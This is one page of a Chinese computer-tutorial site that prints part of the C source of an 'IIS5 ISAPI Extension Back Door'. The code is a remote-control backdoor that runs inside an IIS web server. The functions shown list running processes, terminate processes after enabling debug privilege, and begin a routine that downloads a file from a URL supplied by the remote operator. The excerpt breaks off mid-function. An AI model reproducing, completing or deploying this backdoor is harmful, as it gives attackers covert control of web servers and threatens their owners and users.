e股脑电脑教程网
  • 首 页
  • 操作系统
  • 应用软件
  • 下载工具
  • 影音视频
  • 办公软件
  • 媒体制作
  • 网站建设
  • 平面设计
  • 数据库
  • 程序开发
  • 视频教程
编辑推荐: | 文章搜索:
您现在的位置: e股脑 >> 数据库 >> Mssql教程 >> IIS5 ISAPI Extension Back Door >> 教程正文
 
教程搜索
 
 
相关教程
  • 你知道MySQL10条鲜为人知的技巧吗?
  • 你应该知道的10个MySQL客户启动选项
  • 用特殊的MySQL运算符获得更多数据比较
  • MySQL数据库中与 NULL值有关的几个问题
  • 教你快速了解公共MySQL的数据库服务器
  • MySQL 5.0在windows上的安装详细介绍
  • MySQL查询的性能优化
  • Linux操作系统中如何安装MySQL数据库
  • 23道安全门加铸MySQL数据库
  • MySQL 5.0 数据库新特性的存储过程
  • 从Windows命令行启动MySQL
  • 连接MySQL数据库失败频繁的原因
  • 加速动态网站 MySQL索引分析和优化
  • 轻松掌握如何保护MySQL中的重要数据
  • 快速掌握MySQL数据库中Show命令的用法
  • MySQL数据库的安全配置实用技巧
 
 

图文教程


  • Windows抢了谁的饭碗 非主流操作系统To

  • 地球还是火星 平常心看“非主流”

  • 综合运用Office 2007批量制作奖状

  • 没有系统盘如何才能修复受损系统?

  • 巧妙运用Excel中边界的附加功能!
 
 
赞 助 商
 
 
IIS5 ISAPI Extension Back Door
  • 来源:e股脑
  • 点击次数:
  • 更新时间:2007-8-9
SendToClient( pECB , "List process information error...\n" );

SendToClient( pECB , FLAG );

CloseHandle( hProcessSnap );

return;

}

SendToClient( pECB , "PID\t\tProcessName\n" );


do

{

ZeroMemory( psBuff , sizeof(psBuff) );

sprintf( psBuff , "%d\t\t%s\n", pe32.th32ProcessID , pe32.szExeFile );

SendToClient( pECB , psBuff );

}

while( Process32Next( hProcessSnap, &pe32 ) );

return;

}

void Kill( LPVOID arg )

{

WORKARG *workArg = (WORKARG *)arg;

HANDLE hProcess = NULL;

DWORD pID;

EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;

HANDLE hToken;

LUID sedebugnameValue;

TOKEN_PRIVILEGES tkp;

pID = atoi( workArg->arg );

if ( !OpenProcessToken( GetCurrentProcess() , TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY , &hToken ) )

{

#ifdef DEBUG

LogStrToFile( "Call OpenProcessToken error" );

LogIntToFile( GetLastError() );

#endif

SendToClient( pECB , "Kill process error...\n" );

return;

}

if ( !LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) )

{

#ifdef DEBUG

LogStrToFile( "Call LookupPrivilegeValue error" );

LogIntToFile( GetLastError() );

#endif

SendToClient( pECB , "Kill process error...\n" );

return;

}

tkp.PrivilegeCount = 1;

tkp.Privileges[0].Luid = sedebugnameValue;

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL );


CloseHandle( hToken );

hProcess = OpenProcess( PROCESS_TERMINATE , FALSE , pID );

if( hProcess ==INVALID_HANDLE_VALUE || hProcess == NULL )

{

#ifdef DEBUG

LogStrToFile( "Call OpenProcess error" );

LogIntToFile( GetLastError() );

#endif

SendToClient( pECB , "Kill process error...\n" );

CloseHandle( hToken );

CloseHandle( hProcess );

return;

}

if ( !TerminateProcess( hProcess, (DWORD) -1 ) )

{

#ifdef DEBUG

LogStrToFile( "Call TerminateProcess error" );

LogIntToFile( GetLastError() );

#endif

SendToClient( pECB , "Kill process error...\n" );

CloseHandle( hToken );

CloseHandle( hProcess );

return;

}

SendToClient( pECB , "killed ok\n" );

CloseHandle( hToken );

CloseHandle( hProcess );

return;

}

void DownLoad( LPVOID arg )

{

WORKARG *workArg = (WORKARG *)arg;

char fileName[64] = { 0 };//保存的文件名

char fullPath[256] = { 0 };//保存的完整地址

char url[ARGSIZE] = { 0 };//下载的URL

char seps[] = "/";//分割字符

char *token;

int ret = 0;

EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;;

strcpy( url , workArg->arg );


上一页  1 2 3 4 5 6 
  • 上一篇教程: char与varchar的区别
  • 下一篇教程: mysql数据库连接过多的错误,可能的原因分析及解决办法
  •  

    关于本站 | 广告联系 | 版权声明 | 使用帮助

    Copyright © 2004-2008 www.egunao.com All rights reserved.